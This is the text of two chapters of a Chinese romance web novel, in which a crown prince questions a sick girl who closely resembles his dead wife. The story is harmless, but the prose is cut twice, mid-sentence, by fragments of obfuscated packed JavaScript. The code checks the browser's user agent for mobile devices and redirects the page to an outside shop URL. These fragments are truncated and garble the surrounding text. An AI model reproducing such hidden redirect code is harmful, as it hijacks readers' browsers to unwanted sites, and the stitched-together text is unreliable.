《亡妻回来后》 3. 第 3 章 阿眉忐忑地坐在马车里,听马车轱辘轱辘走了好一会,原本热闹的长街离得越来越远,帘子忽然被掀开,俞白开口。 “姑娘下车。” 阿眉走了下来,面前是个比她见过的侯府差不多漂亮的一座府邸。 前院只有几个洒扫的下人,透出与这豪华府邸并不相称的安静。 俞白将她带到了屋子里,一句话也没说就转身离开了,两个守在门边的侍女也一言不发,阿眉更是忐忑。 这位侍卫把她带来这做什么?是昨晚那位贵人的意思? 是她昨晚冲撞了贵人,打算杀她灭口?那又何必这么费事。 阿眉忍不住胡思乱想。 人总是对未知的惊吓格外恐慌,不管是带刀的冷漠侍卫,还是荒无人烟的院子,还是一句话也不肯说的侍女,她都觉得不对劲。 就像眼前悬了一把剑,明知道它必然落下来,却不知道什么时候,自己会以什么方式被砍死。 她坐在床边动也没敢动,只能低头摆弄着手中的包裹。 才一打开,她顿时脸色变了。 “香囊呢?” 她将包裹翻了个底朝天,除了原本还在的玉佩之外,香囊不翼而飞。 “怎么会,怎么回事?” 阿眉慌张之下,想到了那会嬷嬷递给她包裹的时候。 她脸色一白。 千防万防却没料想唯一离手的时候被人偷了,偷的还是她怕淋湿了弄破了,那会在屋子里特意换进香囊的画像。 画像上的人她其实已经看过无数回,虽然被她的便宜姐姐撕毁一半看不全,露出的半张脸也是个与她长相有三五分像的女人,阿眉推断多半是她的母亲或是姐姐。 她倒是能熟记到将那画像重新临摹,可本来留着是为了将来认亲的时候做她的信物的。 如今却…… 她厌厌地将玉佩拽出来放在了身上,心情愈发阴郁,本就昏昏沉沉的头更疼了,晃一下便受不住。 阿眉把手往头上一贴,滚烫。 “嘶……” 她忍不住喊了一声,门口的一个侍女看过来。 “姑娘不舒服?” 阿眉咬了咬唇,看着面露关怀的侍女,有气无力道。 “我病得厉害,可否请姐姐送盏热茶?” 在侯府见惯了对她凶狠的丫鬟,阿眉连看大夫这种天方夜谭的话都没说,想先瞧瞧这侍女的态度。 两个侍女对视一眼,其中一个显然主话的人走过来,一摸她的头顿时吓了一跳。 “去问……问问俞白大人能否请大夫,姑娘烧得厉害。” 另一个侍女离开,她匆匆倒了盏茶过来,喂给了阿眉喝下。 阿眉道了声谢,哑着声音。 “这儿离医馆远不远,可别麻烦了姐姐。” “不远,我们主家……有大夫。” 阿眉一脸感激,故意曲解了她的意思。 “原来如此,姐姐真是菩萨心肠。” 侍女顿时摆手。 “奴婢只是个丫鬟听命行事,您该是谢我们大人……” 大人。 阿眉面上笑着,心里却想,果然是个高官。 “大人……是方才您说的那位俞白大人吗?” 她又试探。 这回侍女却沉默了,没否认,只含糊道。 “您好生歇着吧。” 阿眉知道再套不出话了,可侍女口中的大人也让她安心了几分。 是大人便是官,她来时怕了一路,就怕是沈侯爷已经把她送去了东宫。 如今不管怎么说,不是那位传说中残暴不仁的冷面太子就好。 她松了口气,昏昏沉沉地躺下了。 —— 东宫内,宽大的流云袖随着姜迟的动作摆动,不出片刻,他搁下手中的笔墨,往昔淡漠的脸色依旧沉静如水,姜迟将手中的纸递出去。 “去查。” 俞白接过,看了一眼姜迟的脸色。 “别院来话说是那位姑娘高热了,属下命人请了大夫。” 姜迟嗯了一声,面上看不出喜怒,抬步往外。 “您可是要备马过去?” 俞白将手中的纸收好追了上去,门外已看不到姜迟的身影,只有远远落下的一句。 “不去,孤去趟国公府。” 俞白站在原地,头一回有些摸不准主子的意思。 若说不在意吧,这要命他大费周章去查她从哪来,为何来,对从前那些人可没有过这种待遇。 可若说在意,把人扔在别院也不见,过几天还要送回去。 那又是图什么? 马车在长街飞扬而过,安静的国公府迎来了一位甚少踏足的贵客。 辅国公,两朝元老,太子姜迟的老师,当朝皇帝最信任的文臣。这样的名流府邸前本该门庭若市,可三年前,太子亡妻楚眉婚前一日在佛影寺下山的途中摔落山崖,辅国公夫人刚好路过,似是受了一场惊吓,一病不起缠绵病榻,辅国公爱妻如命,此后几乎日日守在家中陪伴妻子,闭门谢客。 洒扫的下人见着姜迟,个个惊了一下面面相觑,不知谁喊了一声拜见太子,众人才连忙去禀国公。 姜迟直截了当道明来意。 “我来探望老师,顺便看看夫人。” 国公爷今年四十上下的年纪,人却已经憔悴了不少,听到这话叹息一声。 “还是老样子,您若是还是问那些话……只怕是没必要再见她了。 何况……当年夫人的确没见过太子妃,这些寺庙的僧人都能作证,便是下山,夫人也是晚了太子妃一天的。” 姜迟置若罔闻。 “我见夫人一面。” 国公拗不过他,只得带着他往后院去了。 国公夫人今年三十五岁,三个儿子各有所为,夫君体贴,三年前在上京圈子是人人羡慕的诰命夫人,可如今—— 这个女人披头散发窝在床边,漂亮的衣裳被她抓得一片凌乱,她嘻嘻哈哈地抱着手里的布娃娃,瞧见他们进来,一阵风似的跑过来撞进国公怀里。 “女儿,漂不漂亮,我们的女儿——” 国公还没说话,夫人忽然又把手里的布娃娃塞到跟进来的姜迟手里。 “漂不漂亮?女儿,我生的,嘻嘻。” 国公将夫人抱进怀里,低声细语地哄着。 “迟儿来看你了。” 可夫人却依旧我行我素地重复。 “女儿,我的,我生的,漂不漂亮?” “我的我的我的,我生的。” 她从国公怀里挣脱出来,赤着脚满屋子疯跑着重复。 屋内安静,国公满眼悲痛。 这才是对外所说的“缠绵病榻”的真正意思—— 她疯了。 三年前,国公夫人独自去佛影寺上香,因为突发高热在寺庙多住了一晚,第二日下山途中,刚好碰到在半山腰搜寻了一日的禁卫军,统领正指挥着人把从山里挖出来的一具具尸体抬上来,不知谁喊了一句“好像是楚小姐的尸骨,可凄惨了,骨头都碎了脸也花了……” 路过的马车里,国公夫人听到这话忽然掀开帘子看过去,人张口还没说话,忽然整个人一抽搐,直直从马车上摔了下来。 回来高热昏厥了整整四天,再一醒来,人就疯了。 整天躲在屋子里,谁也不认识,只抱着一个娃娃整天当孩子一样哄着,三年如一日地疯癫重复着那句—— “女儿,我的,我生的。” 可他们根本就没有什么女儿,除了如今已经长大的三个儿子之外,还有一个在刚出生就夭折的——那也是个儿子,便是再怎么受刺激,夫人又为何会在意识里编造出一个女儿呢?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149076|196407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 没人知道她为什么疯成这样,只说是惊吓似乎也站不稳脚跟,可除了惊吓,查遍了佛影寺也没找到别的原因。 最后,大夫只能将其定为——高热昏厥,烧坏了脑子,又加上惊吓,得了失心疯。 姜迟把杵到他面前的娃娃拨开。 “夫人,三年前您在佛影寺,有没有见过眉眉和她母亲——” “女儿,我的,嘻嘻——” 夫人却似乎什么都没听懂,依旧抱着娃娃。 “我的我的我的我的我的我的我的我的我的——我的女儿。” 半个时辰后,姜迟走出屋子,揉了揉眉心,将绕在耳边半个时辰的“魔音”抛之脑后,关怀了几句辅国公,从这里离开。 —— 淋了一个时辰的雨,又饿了几日,阿眉的身子本就弱,这一回病倒,她紧绷的神经松开,一睡就睡了好几天。 再次睁开眼,朦胧的视线里有只柔软的手摸着她额头,瞧见她醒了顿时一喜。 “姑娘!” 视线聚焦,阿眉恍惚了片刻,才反应过来她早就出了侯府,这儿是那位贵人的院子。 “大夫快来,再看看。” 大夫从旁号了脉,拱手道。 “已无大碍了,好生休息几天就是。” 阿眉点点头,大夫看着她虚弱的脸色,暗自摇摇头。 高热一回就能昏厥几日,又有心悸之症,淤血之症,这么差的身体,也不知是怎么活这么大的。 “老朽开方子,您歇着吧。” 侍女收了方子遣人去熬,又关切地问了她几句,阿眉这才知道她已经昏迷了三天了。 “三天?” 姜迟合上手中的册子,经俞白提醒,他才想起距离五日之期仅剩一日。 “正是,算上来的那天,这已经是第四日了。” “巴蜀可有消息传来?” 姜迟问道。 “才到。” 俞白将手中的东西递过去。 阿眉,巴蜀人士,为魏氏夫妇亲生女儿,自小随魏氏夫妇住在山中,种地为生,十八岁时,魏氏夫妇双双去世,随后跟随姐姐魏双儿住在镇子上,在一家铺子做工卖话本子。 半年前姐姐去世,她独自上京,半个月前,在京城郊外遇见流寇,被沈侯爷搭救带入侯府。 性活泼,爱笑,与周围邻居关系极好。 相当完整的一份人生轨迹。 姜迟一一看过,目光越发幽深,一刻钟、两刻钟,他啪嗒合了册子抬步往外。 “出宫。” 今日晚间又下了雨,腊月的京城冷得厉害。 姜迟一路驭马,来到别院的时候已近戌时。 几个侍女已经先得到了消息,被传到了正堂。 “除了来的那日问过您的身份,剩下的时候都昏迷着,今儿才醒,她身上只有一个包裹,里头什么东西都没有,奴婢也已看过了。 今日醒来后便一直待在屋子里,没出门,与奴婢说了些闲话……” 侍女事无巨细地回禀,姜迟静静听着,随后起身往后院的屋子去。 彼时阿眉抱着她的包袱,整个人缩成一团窝在床边,手不自然地绞在一起,孱弱的脸上皱成一团。 又是一天了。 除了在这的两个丫鬟,她谁也见不着,也出不去,哪怕是今天她醒了之后,这院子的主人,也没说要见她,更没说怎么处置她。 她就这样待在这,只能被迫等待着她的命运,如同半个月前她在侯府的时候一样,每一时每一刻都是煎熬,压得她喘不过气。 窗外有风吹来,阿眉打了个哆嗦,思绪回笼,慢吞吞挪起身子下床。 屋内只点了一盏灯,昏昏暗暗的,她关了窗转过身刚要回去,忽然瞧见门边一团黑漆漆的影子。 年轻的男人站在廊下,已不知看了多久。 4.第 4 章 第一反应,她吓得厉害,张口就要惊呼求救。 可男人径直走了进来,高大的身影盖住了煤油灯大半的光亮,原本就不大的屋子更显窄小,阿眉凑着昏暗的光看了他一眼,认出了来人是谁。 那个暴雨的晚上,拦住了她的去路的,奇怪的贵人。 她顿时腿一软,跪了下去。 “贵人。” 姜迟目光飘忽了一下。 “魏眉?” 他的声音很淡,听不出什么情绪,阿眉低垂着头,却能感受到那股无形的,属于上位者的威压使她如芒刺背,她无意识地绞着手,低低应了一声。 “起来说话。” 阿眉摇摇晃晃地站起来,那裹得像粽子一样的额头让她更显孱弱瘦小,还没站稳,冷漠的声音就落了下来。 “说说你。” 说她?说什么? 阿眉摸不准他的意思,小心翼翼地抬了抬脑袋,眼神才往上一瞥,便与姜迟一直没动的目光对视,她心里一跳,飞速把脖子缩了回去。 “民……民女是巴蜀人士,家中种田为生,两年前爹娘去世,我跟着姐姐在镇子上,白日里去话本铺子打杂工,晚上回去帮姐姐的刺绣馆绣女做饭洗碗……” 安静的屋内只能听见她一个人的声音,直到阿眉说出那句“半年前独自上京寻亲”,姜迟掀起眼皮。 “魏氏夫妇是你亲生父母?” 阿眉低垂着头。 “是。” “你今年多大?是从小就生活在巴蜀?上京为寻什么亲?对方姓甚名谁,家住何方?” 一连串的问题紧接着砸了下来,步步紧逼,阿眉在这样压迫又紧张的气氛中有一丝紧绷,呼吸也急促了。 三年前,魏氏夫妇在巴蜀的乱葬岗捡到了她,她身上有几道刀伤,额头还渗着血,像是被什么仇家追杀过似的,夫妇俩把她带回山里,她昏迷了半个月才醒来。 醒了之后,她记忆全无,连自己叫什么都不记得,老妇人见她可怜,就让她留下养病,那段时间老妇人刚没了小女儿,为了转移悲痛的情绪,几乎把全部的注意力都放在了她身上照顾她。 后来小半年他们关系愈发亲密,老妇人真正把她当成了亲生女儿,她也就此留下同他们一起生活。 她没了记忆,自然也不知道自己为什么会满身伤地躺在乱葬岗,老妇人猜测是她惹了仇家,心有余悸,便让她彻底顶替了“魏眉”的身份,做他们的女儿。 老夫妇数十年如一日地住在山里,连衙门里魏眉的户籍都只是寥寥几笔地记录着,她的顶替没有任何人起疑,也风平浪静地过着后面的生活。 上京寻亲之前,阿眉就已经编好了一套说辞,她不能过多暴露不属于“魏眉”的信息,万一曾经的仇人追杀而来,惹了杀身之祸就麻烦了。 她无意识地再次绞紧了手,这是她每每紧张的时候就会做的小动作。 “民女今年二十,从小生活在巴蜀,来此是因为爹娘和姐姐去世后,我一个人孤苦伶仃,他们叮嘱我来此投奔舅舅。 舅舅……爹娘只说舅舅搬家来这,搬来的时候也没有书信告诉他们,民女也不知道舅舅如今住在哪。” 这是一套相当合情理的说辞,最起码她用这些话骗过了那位沈侯爷。 可面前的人却比沈侯爷难骗得多,他淡淡嗯了一声,阿眉还没松一口气,又一句话砸了下来。 “你本名就叫魏眉?” “正是。” “为何取名为眉?” “啊?” 阿眉不明所以地抬起头,怪异地看了他一眼。 名字就是名字,谁规定每个人的名字还必须有什么由来了? 她就是个村姑,又不是什么说一句话都要咬文嚼字的官。 阿眉腹诽着,面上却乖乖地答。 “爹娘说……我的眉眼生得好,盼着我长大了更漂亮些。” 屋内几人几乎是齐刷刷看过去。 昏黄的灯光下,那张漂亮的脸蛋熠熠生辉,额头的白布衬得她的脸愈发娇小,大大的杏眼清澈含笑,长长的柳叶眉更是勾人心魄,美得与整个屋子格格不入。 这哪像山沟沟里养出来的姑娘?怕是上京最顶尖的功勋之家,也难出这么漂亮的小姐。 跟在姜迟身后的那两个丫鬟忍不住眼中露出惊艳,虽然这几天见得不少,每次看到还是不由得感慨姑娘的漂亮。 连俞白也忍不住看了一眼。 姜迟扫过她一眼,站起了身。 脸相似了九成,美则美矣,没有灵魂。 阿眉被众人的眼神看得不自在,鼓足勇气抬起头。 “贵人……” 她话说了一半,高大的身形已经站到了她面前,将她整个人拢在阴影下。 他身上的冷梅香混着冷冽的气息铺天盖地地席卷过来,阿眉有一瞬间以为处在冰天雪地。 尤其是那双透着死寂的眼,如一潭死水一般,让人格外畏惧。 她还没回过神,淡漠的声音已经落下。 “手。” 阿眉一个激灵,连忙把两只手摊开到他面前,下意识抬起头,有些不明所以。 两个侍女已经机灵地又点了两盏灯,把屋内照得亮如白昼。 那是一双有些粗糙的手,指节上还有不少茧子,一看就知道是常年劳作辛苦之人。 姜迟目光从她手上掠过,而后精准落在她的左手腕上。 那里蜿蜒着一道长长的疤痕。 他看了很久,久到阿眉也忍不住看了一眼。 没有姑娘家想自己身上留下这样的伤疤,可三年前有一刀砍在手臂上,因为耽搁的时间长,反复发炎高热,最终县里的大夫给她剜掉了一块肉,后来又重新长的。 长好后又没用什么好的药,就此留下了一道又浅又丑的疤痕。 她目光久久地盯着那道疤,眼眶有些发热,想起最开始这里其实是有一块褐色的胎记,后面剜没了,胎记变成了疤痕,也不知是哪个更丑些。 还是胎记吧,她苦中作乐地想。 说不定后面认亲的时候,凭着这块胎记还能事半功倍,人家一瞧就知道她是自家的孩子。 阿眉刚扯出个苦涩的笑,回过神又摇摇头。 想什么呢? 得到什么,失去什么,丢什么样的胎记,留什么样的伤疤,从来她自己说了不算。 她下意识蜷缩了一下手腕,想把那道疤痕藏进衣袖里。 细微的动作却骤然打破了这诡异的平静,姜迟蓦然别开眼,三两步往外出了门。 几个丫鬟连忙跟了上去,眨眼间屋内只剩下她一人,还有帘子上珠子扯动的声音,很快归于平静。 他离开得突兀,阿眉两只手绞紧在一起,眼中有一丝错愕与无措。 说错话了? 可从入了屋内,他问的大多是她的出身和过往,她小心谨慎地以“魏眉”的身份回答,手上的茧子也能证明她这几年的经历不是说的假话,那还能是为什么? 总不至于……是被她手上的疤丑到了吧? —— 姜迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153079|196407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在廊下。 他脑中闪过她的话,与那份调查的,“魏眉”的人生几乎完全契合的回答。 土生土长的巴蜀人,有疼爱她的父母与对她不怎么好的姐姐,两年多的劳作也在她手上的茧子上得到了答案,户籍上从她出生就写着的“魏眉”两个字,证明了这不过是一场巧合的撞名与恰好相似了九分的脸。 至于她来到他面前是不是巧合? 那必然是蓄意为之,沈侯爷不会放过这张脸。 姜迟微微掀起眼皮。 “这几日沈府可有动静?” “有暗卫探过两回别院。”俞白连忙开口。 “不过姑娘一直在屋子里,甚少出来,也没问过沈府的情况。” 侍女墨兰紧接着道。 “主子三思,不管她如今安分与否,对您来说都是隐患,一旦留在您身边,他日给沈府当暗探,后果不堪设想。” 俞白握紧手中的剑,他跟在殿下身边几年,最知道死去的太子妃对姜迟的影响有多大。 这么一张脸被沈侯爷送来,不管她有没有那个主动的心,都得小心为上。 “明天沈府说来接人了吗?” “还没──只怕沈侯爷巴不得您留下她。” 俞白意图再劝。 “可是──” 姜迟目光落回几步之外那扇窗子上,那道左手腕的疤痕在他脑中一闪而过,他淡淡道。 “去赶车,送她走。” 俞白的话说到一半,猛地抬起头,还以为自己听错了。 “您的意思是?” 姜迟已经抬步往外。 “哎好好,好嘞,属下这就去!” 俞白脸上露出笑容,几乎三两步跑出了院子,一阵风似得急着赶马去了,墨兰错愕片刻,眼看着姜迟马上迈出门槛,还是忍不住开口。 “主子,姑娘身上……” “贵人──” 墨兰的话没说完,屋子里一道身影猛地扑了出来,几乎刹那飞跑到了姜迟面前,扑通一声跪了下去。 她脸色惨白,两只手紧紧绞在一起,急急开口。 “民女并非有意偷听,可我……我和沈侯爷……我并不听命于侯爷,也不知晓您的身份,更没什么别的胆大的想法,您若想赶我走,能不能别送我回沈府,便把我扔出去就好,我此后绝不出现在您面前!” 姜迟被迫停下步子,看着眼前的人。 “我只是个上京寻亲的乡下人,若不是被侯爷带去侯府,这辈子也不会在这跟您见这一面,我不值当您费心思,但是……” 阿眉咬唇,抬手掀起自己的衣袖,袖子下一道道鞭痕暴露在夜色下。 她语气带着哀求与害怕。 “若我就此回去,真的会死的。” 墨兰不忍心地别开眼。 这些痕迹她这几天给姑娘换衣裳就见过几回,不用猜就知道在侯府的日子定不好过,本是想她替这姑娘求殿下一回,扔出去由她去哪,却没想到这姑娘如此有胆魄,敢自己求这一遭。 冬夜的冷风吹过来,阿眉瑟缩了一下身子,裸露的手臂微微颤抖着,这样把自己全然放在一个脆弱的,任人宰割与审视的未知位置使她有些害怕,交错在一起的手再一次,不自觉地绞在了一起。 姜迟将要开口的话蓦然一顿,他眯起眼,原本死寂的眸子落在她的手背上,蓦然掀起一分波澜,神色也微微一变。 这个动作与神态所带来的熟悉感,刹那翻涌上来。 姜迟的思绪被拉回那个他刻骨铭心的夏天。